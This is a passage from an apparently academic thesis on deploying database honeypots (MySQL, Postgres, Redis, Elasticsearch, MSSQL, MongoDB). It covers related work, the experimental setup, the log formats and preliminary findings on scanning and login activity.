data from a large network telescope, revealing geographical variations in scanning behavior and the
pervasive targeting of databases, such as MSSQL, across different regions.

3.2. Database security
In the preceding section, we established the vulnerability of databases to network scanning and sub-
sequent attacks. In this section, we delve into the literature for securing DBMS.

Since the advent of computers, the importance of data security has been recognized. Denning et
al. [31] highlighted the necessity of robust data security measures in 1979, emphasizing the poten-
tial for severe financial losses due to misconfigurations. Their proposed safeguards, such as access
management and encryption, laid the groundwork for modern database management system (DBMS)
security practices.

As research into DBMS security progressed, Bertino et al. [14] argued against the reliance on a sin-
gle layer of defense, such as firewalls, advocating for a multifaceted approach to database security.
Recognizing that breaches in firewalls could grant attackers access to the DBMS, they explored vari-
ous IAM systems and encryption methods as additional layers of protection. Building upon this work,
Bertino et al. [15] emphasized the importance of the CIA triad as the foundational principles of database
protection. They delved into the historical evolution of DBMS security research and its alignment with
emerging privacy concerns driven by regulatory acts like the Health Insurance Portability and Account-
ability Act of 1996 (HIPAA). This paper provided insights into different IAM systems tailored for various
database classes and conducted an exhaustive exploration of privacy research in the context of DBMS
security.

In more contemporary research, Mousa et al. [63] identified threats originating from external, internal,
and third-party sources. They outlined external risks to databases, including vulnerabilities, misconfig-
urations, denial-of-service (DoS) attacks, and malware, underscoring the importance of robust security
measures to mitigate these risks.

Turning to defensive strategies, Malik et al. [54] conducted a comprehensive literature review on coun-
termeasures against the tenmost commonly used database attack strategies. Their findings highlighted
the effectiveness of measures such as proper firewall configurations to prevent malware infections and
the implementation of multi-factor authentication to mitigate the impact of password leaks or brute-force
attacks. Once again, the importance of robust IAM controls, firewall usage, auditing, and encryption
emerged as key pillars of database security.
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3.3. Detection of cyberattacks
Having reviewed literature regarding database security, we transition to exploring cyberattack detection
methods. Sudar et al. [81] conducted an extensive survey encompassing various detection techniques,
including machine learning methods. Additionally, Bhuyan et al. [17] conducted a survey focusing on
port scans and their corresponding detection techniques. Their work offers a comprehensive overview
of scan detection approaches, covering criteria such as detection strategy, data source, and data visu-
alization.

While these studies provide valuable insights, our thesis emphasizes research on network telescopes
and honeypots for cyberattack detection. As such, we will concentrate on literature specifically related
to these detection mechanisms.

3.3.1. Network telescope
Network telescopes offer valuable insights into scanning traffic, shedding light on cybersecurity trends.
Richter et al. [74] note that there exists a consistent baseline level of scanning activity for all web-
connected hosts. By establishing this baseline level, network operators gain the ability to identify hosts
or infrastructure experiencing unusually high levels of scan activity, signaling potential targeted scan-
ning efforts and subsequent attacks.

In another publication by Harder et al. [46] a network telescope is used to observe traffic by malware
such as worms and viruses. And show that specific profiles can identify and distinguish portscans,
hostscans and distributed denial-of-service (DDOS) attacks. Which can be useful for detection of
malicious activities. An operational pilot conducted by Chatziadam et al. [23], deploying a network
telescope across Greece, shows promise in uncovering large-scale malicious events such as DDoS
attacks and worms. This initiative could serve as an early warning system for such events, enabling
timely countermeasures to mitigate their impact.

3.3.2. Honeypots
The exploration of honeypots and their applications has been the subject of extensive research. In “A
Survey on Honeypot Software and Data Analysis” (2016), by Nawrocki et al [64] provides an in-depth
analysis of honeypot software and data analysis techniques. It offers a detailed taxonomy of honey-
pots and explores their usage across various contexts. Additionally, the study presents an extensive
listing of data analysis results obtained from honeypot deployments, shedding light on the goals and
effectiveness of honeypot-based security mechanisms.

Franco et al. [39] expanded this inquiry into the realms of Internet of Things (IoT), Industrial Internet of
Things (IIoT), and Cyber-Physical Systems (CPS) through their survey. The study offers a taxonomy
specifically tailored to honeypots in the IoT, IIoT, and CPS fields, alongside an exploration of various
honeypots and their research outcomes. Additionally, it identifies key design factors essential for the
future development of honeypots and honeynets in these contexts. Moreover, the survey addresses
open research challenges persisting in the domain of honeypot and honeynet research for IoT, IIoT,
and CPS, thereby highlighting areas necessitating further investigation and exploration.

Limited exploration has been conducted on the subject of database honeypots; nevertheless, exist-
ing literature advocates for their utility in analyzing attack information. In a paper by Ma et al. [53], a
high-interaction MySQL honeypot was introduced and implemented specifically for the analysis of SQL
injection attacks. A key innovation of their system lies in its ability to reconstruct the attack procedure
comprehensively. This feature facilitates a structured representation of various tactics and techniques
employed by adversaries throughout distinct stages of the cyberattack lifecycle, with results integrat-
able into established attack frameworks such as the MITRE ATT&CK matrix [60]. To substantiate their
findings, the authors conducted both automated SQL injection attacks using tools and manual SQL
injection attempts. This endeavor affirmed that a database honeypot offers valuable insights into miti-
gating SQL injection attacks on MySQL databases.

We’ve observed the effectiveness of database honeypots in analyzing attacks and threats. Taking



3.3. Detection of cyberattacks 15

this concept a step further, Wegerer et al. [97] proposed the integration of honey tokens with database
honeypots. A honey token, also referred to as a canary token, serves to identify and notify about
unauthorized access or activities. It entails deliberately placing decoy credentials, files, or sensitive in-
formation at various points within a network or system. The primary objective of these decoy elements
is to serve as a tripwire, indicating that an unauthorized user or process has interacted with them.
This approach offers the additional advantage of enabling organizations to closely monitor the tokens,
allowing the detection of suspicious activities stemming from both external and internal threats. The
creation of such a low-interaction honeypot can be accomplished using existing open-source software
like the MySQL AUDIT Plugin [97][57].

Below is an overview of the related work discussed in this section, presented in table 3.1.

Study and year Category Contributions
Allman et al. 2007 [5] Scanning • Provided insights in long-term scanning

behavior
• Identification of SQL DBMS server tar-
geting

Barnett et al. 2008 [13] Scanning • Creation of a taxonomy for network
scanning techniques

• Critique of NIDS limitations in scanning
detection

Bou-Harb et al. 2013 [19] Scanning • Analysis of web scanning events
• Correlation of scanning campaigns with
attacks

• Highlighting DBMS targeting
Anand et al. 2023 [8] Scanning • Categorization of benign vs. malicious

scanning
• Analysis of aggressive malicious scan-
ners

Durumeric et al. 2013 [34] Scanning • Review of Zmap capabilities
• Advocacy for network scanning tools in
security applications

Durumeric et al. 2014 [33] Scanning • Analysis of scanning activity from tele-
scope

• Noted geographic variants in scanning
behavior

• Highlighting DBMS targeting
Denning et al. 1979 [31] Database security • Emphasis on robust database security

• Foundation for database security prac-
tices

Bertino et al. 1995 [14] Database security • Argument for multiple lines of defense
• Exploration of IAM and Encryption so-
lutions

Bertino et al. 2005 [15] Database security • Application of CIA triad to database se-
curity

• Insights into IAM systems for different
database classes

Mousa et al. 2020 [63] Database security • Identification of threats from internal,
external, and third-party sources

• Risks to databases
Malik et al. 2016 [54] Database security • Review of countermeasures against

common database attack strategies
Sudar et al. 2020 [81] Detection of cyberattacks • Survey of cyberattack detection tech-

niques

Continued on the next page
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Study and year Category Contributions
Bhuyan et al. 2011 [17] Detection of cyberattacks • Survey of scanning traffic detection

approaches
Richter et al. 2019 [74] Network telescope • Establishment of baseline scanning

traffic for attack indication
Harder et al. 2006 [46] Network telescope • Observation of malware generated

traffic using network telescopes
• Profiling attacks through traffic analy-
sis

Chatziadam et al. 2014 [23] Network telescope • Application of network telescopes in
early detection against cyberattacks
across Greece

Nawrocki et al. 2016 [64] Honeypots • Creation of research honeypot taxon-
omy

• Review of data analysis from de-
ployed honeypots

Franco et al. 2021 [39] Honeypots • Creation of IoT honeypot taxonomy
• Identification of key design factors for
future honeypot development

Ma et al. 2011 [53] Honeypots • Development of high-interaction hon-
eypot for SQL injection detection

Wegerer et al. 2016 [97] Honeypots • Exploration of honey tokens integra-
tion with database honeypots

Table 3.1: Overview of the discussed related work in this section

3.4. Open research questions
Extensive research has been conducted on network scanning, database security, and the utilization
of honeypots to unveil adversarial tactics. However, a notable gap in the existing literature pertains to
the realm of employing database honeypots to enhance database defenses. While the utility of hon-
eypots in analyzing attacks and detecting suspicious activity has been highlighted in existing literature
[53] [97], a noticeable gap exists within the research of database honeypots. Specifically, there is a
lack of comprehensive data collection that provides insights into the attacks targeting publicly facing
database systems. Current literature predominantly relies on hypothetical scenarios and self-executed
attacks, such as SQL injections or attempts by adversaries to access sensitive files. Given this gap,
it becomes crucial to leverage database honeypots for conducting real-world analyses of the attacks
that organizations might encounter.

Furthermore, there exists a research gap regarding the analysis of scanning traffic and its potential
utility in fortifying the defenses of DBMS. While scanning activities have been extensively studied, par-
ticularly in the context of network reconnaissance and intrusion detection, there is a lack of specific
research on how the analysis of scanning traffic can be leveraged to enhance the security posture of
DBMS.
Addressing these research gaps is crucial for advancing our understanding of database security and
developing more robust defense mechanisms against evolving cyber threats. By exploring the poten-
tial of database honeypots and analyzing scanning traffic, researchers can gain valuable insights into
adversarial tactics and bolster the resilience of DBMS against attacks. This approach aims to provide
a more nuanced understanding of attacker behavior, identify prevalent attack vectors, collect data on
the attacks, and uncover vulnerabilities in live databases.
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Methodology

Following the identification of the research gap and the motivation of the study, this chapter sets out to
define the research questions posed in this thesis. Furthermore, it provides an in-depth exploration of
each database honeypot utilized in this study, along with the rationale behind their selection. Lastly,
it delves into the experimental setup, explaining the tools, services, and methodological choices em-
ployed in detail.

4.1. Research question
There main research question of this study is: “What types of cyberattacks commonly confront
publicly facing databases?” To address this question, several sub-questions are of significance:

1. Attack Frequency: What is the frequency of attacks on publicly facing databases?

2. Adversarial Patterns: Is there a discernible pattern in the attacks and attackers?

3. Nature of Attacks: What kind of attacks techniques do publicly facing databases face?

The first sub-question delves into the temporal patterns of attack occurrences, identifying whether cer-
tain times witness heightened activity or if attacks are incessant. The second sub-question aims to shed
light on the geographic distribution and preferences of adversaries concerning their target databases.
By investigating whether adversaries emanate from diverse geographical locations, or concentrated
from specific regions. And additionally, whether there a correlation between the type of database and
the profile of adversaries targeting it. The final sub-question aims to provide a deep dive into the meth-
ods utilized by adversaries with the cyber kill chain. For instance, the analysismay uncover ransomware
attacks aimed at encrypting database contents, followed by demands for cryptocurrency payments for
decryption.

4.2. Deployed database honeypots
In section 2.5 we’ve outlined the classification of honeypots. Now, we delve into the specifics of the
database honeypots utilized in this thesis. Figure 4.1 gives an updated overview of our selected classes
of honeypots. Our study adopts a research-oriented approach, and we have also selected honeypots
that are specifically designed and engineered with research purposes in mind. Therefore within the
classification our honeypots fall under the research category.

The primary role of these honeypots is to emulate a DBMS connected to the web. They adopt a passive
stance, refraining from actively seeking or initiating connections with other clients, instead awaiting to
respond to incoming connections. Hence all honeypots adopted in our study function as server honey-
pots.

Moreover, our chosen honeypots exhibit varying degrees of interactivity, ranging from low to high. This
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diversity in interaction levels allows for a comprehensive collection of data, encompassing both quanti-
tative traffic statistics, facilitated by low-interaction honeypots, and qualitative attack insights, enabled
by medium and high-interaction honeypots. An overview of the honeypots discussed in the following
subsections can be found in table 4.1

Figure 4.1: Taxonomy of honeypots used in this thesis: research-oriented with server roles, on low, medium, and high interaction
levels.

Honeypot name Interaction
level

Simulates Risk Setup & main-
tenance

Qeeqbox Honeypots [73] Low MySQL,
Postgres,
Redis, Elastic,
MSSQL

Low Easy

RedisHoneyPot [30] Medium Redis Moderate Easy
Sticky Elephant [16] Medium Postgres Moderate Easy
Elasticpot [96] Medium Elasticsearch Moderate Moderate
Mongodb-honeypot [11] High MongoDB High Difficult

Table 4.1: Overview of utilized honeypots

4.2.1. Low-interaction honeypot: Qeeqbox Honeypots
The Qeeqbox Honeypots package, offers a suite of 30 low-to-high level honeypots tailored for mon-
itoring network traffic, bot activities, and user credentials [73]. Among these, our focus lies on the
low interaction database honeypots: MySQL, Postgres, Redis, Elastic, and MSSQL. These honeypots
provide a basic response upon connection, and can capture user credentials such as usernames and
passwords. But lack the ability to provide further interaction. These features enable the examina-
tion of adversarial traffic patterns, detection of brute-force attempts, and analysis of user credentials
commonly employed in such attacks. Furthermore, the scalability of deploying and maintaining these
honeypots makes them a good choice for analyzing adversarial traffic patterns on a large scale.

4.2.2. Medium-interaction honeypot: RedisHoneyPot
RedisHoneyPot is a medium interaction honeypot written in GO language, designed to simulate a Redis
database environment [30]. It provides a simulated Redis instance with the capability to respond to
14 different operations commonly used with Redis, including PING, INFO, SET, GET, DEL, EXISTS,
KEYS, FLUSHALL, FLUSHDB, SAVE, SELECT, DBSIZE, CONFIG, and SLAVEOF. However, it lacks
functionality for understanding other commands and usually provides static responses without dynamic
variations based on input. And unlike a real database with full interactivity, it only offers a hashmap
to mimic the queries that are associated with the KEYS functionality. Notable is that RedisHoneyPot
does not log login credentials such as usernames and passwords, nor does it enforce any form of IAM.
This means that anyone connecting to the honeypot can gain access without authentication. Despite
lacking authentication mechanisms, it remains a valuable tool for analyzing adversarial behavior after
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initial access. Additionally, its ease of deployment and maintenance contribute to its effectiveness in
monitoring and studying Redis-related attacks.

4.2.3. Medium-interaction honeypot: Sticky Elephant
Sticky Elephant is a medium interaction honeypot designed to mimic a Postgres database[16] con-
nected to the web. Developed in Ruby, it employs a specialized ”handler” script to manage queries.
Developed in Ruby, it utilizes a specialized “handler” script to manage queries, enabling more dynamic
responses and accepting a broader range of queries. However, while the handler can accept various
queries, it typically doesn’t execute corresponding actions like a real database but merely provides
a scripted response. Furthermore this honeypot is capable of capturing passwords during the hand-
shake and login processes. Similar to the Redis honeypot it does not host a genuine database, but it
includes a hard-coded generic response for database index queries. And while it lacks authentication
controls, Sticky Elephant remains a valuable resource for analyzing adversarial actions within Postgres
databases post-access. Moreover, its straightforward deployment and maintenance further enhance
its usability in monitoring and studying adversarial behavior.

4.2.4. Medium-interaction honeypot: Elasticpot
Elasticpot, a primarily Python-based medium-interaction honeypot, replicates a vulnerable Elastic-
search server accessible over the internet [96]. Its response to queries can be extensively customized
through .json files, allowing users to tailor responses for queries on indices, nodes, clusters, mappings,
and more. However, like other medium-interaction honeypots, Elasticpot provides predetermined re-
sponses from these files rather than executing the actual query. Similar to its counterparts, Elasticpot
does not host any real database. It also does not log login credentials or enforce IAM controls, focusing
again on providing insights into adversarial behavior post-connection. Despite being more challeng-
ing to deploy compared to other honeypots, Elasticpot remains easy to maintain and offers valuable
insights into adversarial behavior within Elasticsearch environments.

4.2.5. High-interaction honeypot: Monogodb-honeypot
Mongodb-honeypot is a high-interaction honeypot specifically designed to present itself as a legitimate
MongoDB database. Developed in Python, it leverages Docker containers to run a fully functional
instance of MongoDB. One notable feature is its ability to upload a .json file containing data for the
database, enhancing its realism and attractiveness to potential adversaries. The MongoDB honey-
pot has disabled its IAM functionality in order to prioritize detailed logging of post-access adversarial
behavior. Despite its ease of setup, maintaining this honeypot can be challenging due to the risk of
adversaries wrecking havoc within a fully-fledged, unprotected MongoDB instance. Occasionally, the
honeypot may cease functioning unexpectedly, prompting the development of a monitoring tool to ad-
dress this issue.

4.3. Experiment setup
Initially, a preliminary study was undertaken to test the functionality, and performance of various hon-
eypots, aiding in the selection process. This study also served the purpose of learning about the de-
ployment of honeypots and methods to deploy them at scale. Honeypots that proved unsuitable were
excluded from the results, while those deemed suitable are detailed in the preceding subsections. This
phase also served to give us time to prepare a proper pipeline of scripts for processing and analyzing
logs. Additionally, it provided insights into expected outcomes, enabling us to refine our deployment
strategy for the main experiment on a larger scale. It should be noted that data collected during this
phase may not be uniform in time span, as it was gathered intermittently given the experimental nature
of this study. We utilized Google Cloud Platform (GCP) for these experiments, making use of the free
credits program from the platform.

Having ascertained the positive outcomes from the preliminary results, we proceeded with the main
study, aiming for a more thorough and extended data collection period. This study was conducted
utilizing different platforms, namely some servers the Delft University of Technology (TU Delft) owned
and those on DigitalOcean. The shift in platforms was driven by financial, time, and scope constraints,
prompting the adoption of a different approach to data collection.
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4.3.1. Preliminary experiment
For the preliminary study, we conducted the experiment on GCP. All computing instances were fea-
tured similar specifications, utilizing the E2 small instance type with 2 vCPUs, 1 core, 2 GB of RAM,
and 10 GB of persistent storage. While a 1 GB RAM option was available, it was deemed insufficient
for package installation and other operational tasks.

Each computing instance was deployed using Google’s standard Debian 10 (debian-cloud) image. And
each honeypot instance was hosted on a separate computing instance, ensuring non interference from
other honeypots. The setups for these honeypots adhered to the setup instructions or requirements
files listed on their respective repositories. No further customization was applied; they ran with default
configurations. Table 4.2 below gives a detailed breakdown of the honeypots utilized and their respec-
tive configurations. The table utilizes ISO 3166-1 alpha-2 country codes instead of country names for
simplicity.

Honeypot DBMS Port Location Instances Duration Customization

Qeeqbox
Honeypots

MySQL 3306

Las Vegas, US
Taipei, TW 2 10 days Default

Postgres 5432
Redis 6379
Elastic 9200
MSSQL 1433

RedisHoneyPot Redis 6379 Tel Aviv, IL 1 10 days Default
Sticky Elephant Postgres 5432 Las Vegas, US 1 5 days Default
Elasticpot Elastic 9200 Las Vegas, US 1 5 days Default
Mongodb-
honeypot Mongodb 27017 California, US 1 1 day Default

Table 4.2: Overview of the deployment of honeypots in the preliminary experiment.

Note that Qeeqbox Honeypots is a piece of software that contains a package of honeypots, allow-
ing a single instance to host multiple honeypots simultaneously. Only two instances, each running the
five listed DBMS honeypots were active during the preliminary study.

4.3.2. Main experiment
For the main study, our primary goal was to gather a larger quantity of data by deploying a large num-
ber of honeypots over an extended period. Additionally, we customized some honeypots to investigate
whether adversaries exhibit preferences based on content or interaction.

Specifically, for the Qeeqbox Honeypots, we configured a setup with a single honeypot (e.g., MSSQL)
per instance, contrasting the default deployment of five honeypots on one machine. This was done to
understand whether operating multiple honeypots on one machine would affect adversarial activity. In
the case of RedisHoneypot, we inserted 50 fabricated user credentials (username and password) to
gauge adversaries’ attempts to extract them. For Sticky Elephant we disabled authentication as con-
figuration, denying access upon connection attempts to observe whether adversaries would conduct
brute-force attacks to gain access. Elasticpot remained uncustomized due to operational complexities.
Finally, the MongoDB honeypot was enhanced with additional fake customer data, such as names,
email addresses, and credit card numbers, aiming to attract adversaries. This change also aimed to
reduce the file size of the default fake data that would be queried by adversaries, thereby minimizing
unnecessary log growth when the honeypot returned responses.

Table 4.3 on the next page provides an overview of all deployed honeypots during this experiment.
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Honeypot DBMS Port Location Instances Customization

Qeeqbox Honeypots

MySQL 3306

Delft, NL 50 Default
Postgres 5432
Redis 6379
Elastic 9200
MSSQL 1433

Qeeqbox Honeypots

MySQL 3306

Delft, NL

5

Single honeypot per
instance

Postgres 5432 5
Redis 6379 5
Elastic 9200 5
MSSQL 1433 5

RedisHoneyPot Redis 6379 Delft, NL 10 Default

RedisHoneyPot Redis 6379 Delft, NL 10 Fake user credentials
data

Sticky Elephant Postgres 5432 Delft, NL 10 Default
Sticky Elephant Postgres 5432 Delft, NL 10 Login disabled
Elasticpot Elastic 9200 Delft, NL 10 Default

Mongodb-honeypot Mongodb 27017

California, US

8 Fake customer data

Amsterdam, NL
SG
London, UK
Frankfurt, DE
Toronto, CA
Bangalore, IN
Sydney , AU

Table 4.3: Deployment of honeypots in the main experiment from March 22nd, 2024, to April 11th, 2024

The entire experiment spanned from March 22nd, 2024, to April 11th, 2024, totaling 20 days. All hon-
eypots, except for the Mongodb-honeypot, operated on resources provided by TU Delft. Figure 4.2
provides an overview of the setup on the servers. For the experiment, we were allocated a machine on
a server owned by the TU Delft. This machine was equipped with an IP table that rerouted all incoming
traffic to the respective Docker containers housing the honeypots. Each Docker container operated
on a standard Ubuntu 20.04 LTS image. To streamline the setup process for each honeypot, Docker
Compose files were utilized. Within the virtual machine, another IP routing table directed incoming
traffic to the respective containers.

Figure 4.2: Diagram of how network traffic is routed to the honeypots
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The Mongodb-honeypot was hosted on Digital Ocean servers using their free credits program. Lever-
aging Digital Ocean’s virtual machine feature, known as droplets, we initially used an Ubuntu 20.04 LTS
droplet and installed the Mongodb-honeypot on it according to its the setup process. Subsequently, we
created a snapshot of this droplet and saved it as an image. This approach streamlined the deployment
of the honeypot across various Digital Ocean server locations worldwide.

Having explained the setup and deployment of the honeypots on the infrastructure we want to mo-
tivate the customizations mentioned in table 4.3.

We ran the Qeeqbox Honeypots in their default configuration, without any customization. Deploy-
ing 50 instances, each assigned a unique IP address, we aimed to collect a larger dataset over an
extended period. Additionally, for 25 instances, we deliberately restricted each instance to run only
one DBMS honeypot concurrently. This choice was made to investigate whether adversarial behavior
varied when encountering hosts hosting either a single database or multiple databases.

The RedisHoneyPot was set up to operate in two distinct configurations. In the first configuration,
we maintained a default out-of-the-box setup, while in the other, we augmented it with 200 fabricated
user login entries generated by Mockaroo, a random data generation service. This data comprised out
of a username and its corresponding password, structured to align with the hashmap in the honeypot.
The primary objective was to assess whether adversaries would exhibit any knowledge or attempt ma-
nipulation of the data compared to the standard configuration, which contains no entries.

With Sticky Elephant, our aim was to assess adversarial behavior when access was consistently
denied. We sought to determine whether brute-force attacks would be initiated against this honeypot,
simulating a scenario where proper IAM protocols were in place, restricting access. To achieve this,
we deployed one version in a standard configuration, permitting unrestricted access, while the other
configuration rejected all login attempts.

Elasticpot encountered an unforeseen technical issue. It might be that a library it depended on was
changed or depreciated between the preliminary study and the main experiment. Despite strictly ad-
hering to the setup instructions provided on the repository, the honeypot would shut down shortly after
launch. A workaround was identified by utilizing the documented Docker setup. However, due to reli-
ability concerns, the decision was made not to proceed with creating an alternative configuration for it.

The default Mongodb-honeypot configuration included a compressed file containing generated re-
tail data of restaurant locations. However, this file was deemed as too large and led to the bloat of log
size when adversaries requested the entire database. As a solution, an alternative set of fake data
was generated using Mockaroo, featuring fake customer details like names, addresses, phone num-
bers, and credit card information. The motivation behind this was to observe whether it would attract
adversaries engaging in manual actions rather than solely automated bot scripts.

4.3.3. Data collection and analysis
Each honeypot possesses built in logging capabilities. The logs of which are stored in varying formats,
typically as either .log or .json files. Due to the diverse logging methods employed by each honeypot,
Python scripts were developed to transform these logs into a standardized format and put into differ-
ent SQLite databases. It’s should be noted that this conversion process occurs after the honeypots
have completed their data collection phase and the logs are finalized. Moreover, these conversion
scripts leverage MaxMind Geolite [56] to ascertain the geolocation of IP addresses and the associated
Autonomous System Number (ASN). This modified data is integrated into the database, providing addi-
tional context for analysis. Due to the differences in each honeypot’s logging methodology, we created
individualized Python scripts for each. These scripts execute SQL queries to extract information and
generate informative graphs for analysis. Additionally, the utilization of SQLite databases streamlines
manual analysis and enhances the feasibility of conducting case studies on attacks.

Greynoise [45], a scanner analysis tool, was utilized to identify known threat actors within the dataset.
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Figure 4.3: Diagram of how logs are produced, processed and analyze

For academic purposes, we were able to obtain a Greynoise VIP account, granting us free, extended,
non-commercial access to the data.

4.3.4. Data structure
As previously mentioned, each honeypot employs its unique logging format. Here, we outline the
structure of the converted SQLite databases, which include GeoLite data from MaxMind [56] after
processing. Therefore the following three data columns are present in every SQLite database:

• country: Country of the source IP based on MaxMind GeoLite data (e.g., United States).

• city: City of the source IP based on MaxMind GeoLite data (e.g., New York).

• company: Name of the Autonomous System (ASN) associated with the source IP based on
MaxMind GeoLite data (e.g., Google LLC).

Timestamp-related fields follow the RFC 3339 format (YYYY-MM-DD HH:mm:ss) in the preliminary ex-
periment but also use milliseconds (ff) in the main experiment with the exception of RedisHoneypot
which does not log milliseconds. This adjustment was made in order to accurately measure the dura-
tion of adversarial interactions, particularly those lasting less than a second due to automated scripts.
Qeeqbox Honeypots:

• Timestamp: Timestamp of the interaction in the RFC 3339 format (e.g., 2024-04-01 12:00:00).

• source_ip: Source IP address (e.g., 192.168.1.1).

• src_port: Source port (e.g., 54321).

• action: Type of action, such as connection, dump (Elasticsearch action), or login.

• username: Username of the login attempt (e.g., admin).

• password: Password used in the login attempt (e.g., password123).

• status: Status of the login attempt, indicating success or failure.

• dest_ip: Destination IP; usually 0.0.0.0 due to deployment and can be ignored.

• dest_port: Destination port (e.g., 3306).

• protocol: Database Management System (DBMS) used (e.g., MySQL).

• server: Server the honeypot is hosted on in the preliminary experiment. Specifies the customiza-
tion in main experiment.
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RedisHoneypot:

• log_time: Timestamp of the interaction in the RFC 3339 format.

• level: Log level indicating the severity of the entry (e.g., info, debug).

• source_ip: Source IP address.

• port: Source port.

• action: The action, which can also include queries (e.g., PING, FLUSHDB).

• message: Contains message from logger, can be ignored

• server: Server the honeypot is hosted on in the preliminary experiment. Specifies the customiza-
tion in main experiment.

Sticky Elephant:

• Timestamp: Timestamp of the interaction in the RFC 3339 format.

• source_ip: Source IP address.

• action: Action performed by the honeypot, (eg., query, handshake).

• message: Message associated with the action, (eg., SELECT VERSION();).

• level: Logging level, can only be info (I) or debug (D).

• server: Server the honeypot is hosted on in the preliminary experiment. Specifies the customiza-
tion in main experiment.

Elasticpot:

• Timestamp: Timestamp of the interaction in the RFC 3339 format.

• src_ip: Source IP address.

• src_port: Source port.

• event_id: Classification indicating whether the interaction is a reconnaissance (recon) or an at-
tack.

• request: Type of request made to the honeypot, can only be GET, POST, or HEAD.

• url: URL field.

• sensor: Displays the honeypot sensor name but is not relevant.

• user_agent: User-agent information, typically indicating the web browser used.

• content_type: Content type, indicating the format of the payload if present, (e.g., application/j-
son).

• payload: Actual payload transmitted, which may include queries in .json format or application
data. Note that Elasticpot does not store these payloads.

• server: Server the honeypot is hosted on in the preliminary experiment. Specifies the customiza-
tion in main experiment.

Mongodb-honeypot:

• Timestamp: Timestamp of the interaction in the RFC 3339 format.

• type: Specifies the category of the event, which could be a connection, response, or request.

• event: Provides details about the event that occurred, (eg., connection closed by peer)
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• client: Source IP address.

• port: Source port.

• request_id: An identifier for the request.

• response_to: Which request_id the response is responding to.

• body: Contains the body of the event, in .json format.

• server: Server the honeypot is hosted on in both experiments.
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Results

In the previous chapter, we stated the research question and outlined the experimental setup employed
to collect data. In this chapter, we delve into the results derived from the data collected and conduct
thorough analysis. The chapter is divided into two parts, focusing on the results of the the preliminary
and main study respectively.

In the preliminary study, our primary focus was evaluating the functionality and performance of var-
ious database honeypots. We also examined honeypot deployment and scalability, gathering insights
to prepare for the main experiment. The main experiment aimed to build on these preliminary results by
expanding configurations and deployment strategies to collect additional data and potentially uncover
new insights.

5.1. Preliminary study
The goals in of the preliminary study was not only to evaluate the functionality and performance of
different honeypots. But also aimed at studying honeypot deployment and scalability. And gathering
insights on expected outcomes, allowing us to refine our deployment strategy for the main experiment
on a larger scale.

Interestingly, all our honeypots were detected by scanning traffic within the first two hours of deploy-
ment. This indicates a high level of ongoing scanning activity and suggests promising potential for
insights.

5.1.1. Qeeqbox Honeypots
We initiate our analysis by examining the temporal distribution of the low-interaction honeypots by Qee-
qbox. Figure 5.1 showcases the fluctuation in action over time for honeypots deployed on servers in
both the USA and Taiwan. Here, an “action” denotes each instance of interaction; “connection”, “login”
and “dump”, originating from an IP address, without considering multiple interactions from the same
source. A “connection” is a connection to the honeypot, a “login” is a login attempt and a “dump” is a
GET request to the elastic server which is the common way to interact with elastic servers. It’s important
to note that the x-axis time ticks in this graph represent hourly intervals despite only displaying full days.
This scale will remain consistent across all our upcoming graphs. We observe a pattern characterized
by intermittent spikes that gradually increase over time, with particularly large outliers during the final
two days of observation. This trend suggests an increase in activity over time.

For a more detailed analysis, see figure 5.2, which illustrates the number of unique (distinct) IPs which
were active on the honeypots per hour. We observe that the count of unique IP addresses each hour re-
mains relatively low, in stark contrast to the high volume of actions depicted in figure 5.1. This suggests
that numerous IPs are involved in multiple actions, contributing to the intermittent spikes in actions.

To provide further context, a total of 549, 522 actions were recorded across the honeypots over the

26
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Figure 5.1: Qeeqbox Honeypots: Temporal distribution of actions observed from December 1st, 2023, to December 11th, 2023

span of the experiment, originating from only 1, 204 unique source IP addresses. At first glance, this
would suggest an average of 456 actions per IP. However, upon closer examination, it becomes evi-
dent that the traffic is heavily skewed towards a few IPs. Table 5.1 illustrates this imbalance, revealing
that just 10 IPs were responsible for 86.55% of the total actions. This shows indication that the distri-
bution of the amount of actions taken by IPs is heavily skewed. By looking at the percentiles we see
that the 25th percentile shows a single action, the median (50th percentile) stands at 2 actions, and
the 75th percentile at 4 actions. As we move towards the higher percentiles, the disparity becomes
even more pronounced: the 95th percentile records 27 actions, while the 99.99th percentile skyrockets
to 109, 723 actions. Out of the aforementioned 1,204 unique IP addresses, a significant portion, 950
IPs, attempted only connections, implying that they were scanners. The remaining 254 IPs displayed a
combination of actions, including at least one login attempt, showcasing a more diverse and malicious
behavior.

Figure 5.2: Qeeqbox Honeypots: Temporal distribution of unique IPs observed from December 1st, 2023, to December 11th,
2023
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Source IP # Actions % of Total Actions
51.254.78.36 114,386 20.82%
80.66.76.91 75,627 13.76%
87.251.75.20 75,144 13.67%
80.66.76.30 69,938 12.73%
80.66.76.21 66,017 12.01%
94.232.43.36 42,263 7.69%
59.48.162.146 8,071 1.47%
60.177.58.57 8,051 1.47%
122.227.98.38 8,049 1.47%
117.26.15.247 8,043 1.46%
Other 73,933 13.45%

Table 5.1: Qeeqbox Honeypots: List of the top 10 source IPs with the highest number of actions and their percentage of overall
actions

DBMS # Actions % of Total Actions
MySQL 47,648 8.67%
Postgres 0 0%
Redis 2,376 0.43%
Elastic 535 0.10%
MSSQL 498,963 90.80%

Table 5.2: Qeeqbox Honeypots: Distribution of actions to DBMS

Table 5.2 and figure 5.3 reveal discrepancies in DBMS preference among adversaries. The data indi-
cates a significant bias towards the MSSQL honeypot, with comparatively fewer actions observed for
MySQL, and minimal activity directed towards Redis and Elastic. Most activity peaks correspond to
MySQL and MSSQL, as evident from figure 5.1, suggesting concurrent high activity from these honey-
pots on both servers. Postgres did not receive any actions during the observation period, a surprising
outcome given its online presence as verified through testing. This unexpected result may be attributed
to various factors, including the possibility that all five honeypots were hosted on the same IP, leading
adversaries to prioritize other targets perceived as more attractive. While the exact cause remains un-
certain, the minimal traffic observed from Elastic suggests that adversaries may have simply neglected
to scan for it altogether.

Figure 5.4 and table 5.3 provide insights into the temporal distribution of port scans during the observed
period on the telescope operated by the Delft University of Technology (TU Delft). For coherence, we
have translated the ports into their respective DBMS names. Similar to the trends observed in fig-
ure 5.1, we notice fluctuations in scan activity throughout the day. However, the distribution of scans
across ports appears to be more evenly spread, with Redis and MSSQL as the primary targets. Which
contrasts with the prevalence of MSSQL observed in table 5.2. This difference may be attributed to
the duration of the experiment. Furthermore, the data collection involved only two IPs which is not
sufficient quantitatively for comparison analysis with the data collected on the telescope. As a result,
we intend to deploy a larger number of honeypots over an extended period for the main experiment.

DBMS # Scans % of total scans
MySQL 88,784,670 18.24%
Postgres 91,038,978 18.70%
Redis 121,552,543 24.97%
Elastic 81,634,200 16.77%
MSSQL 103,857,084 21.33%

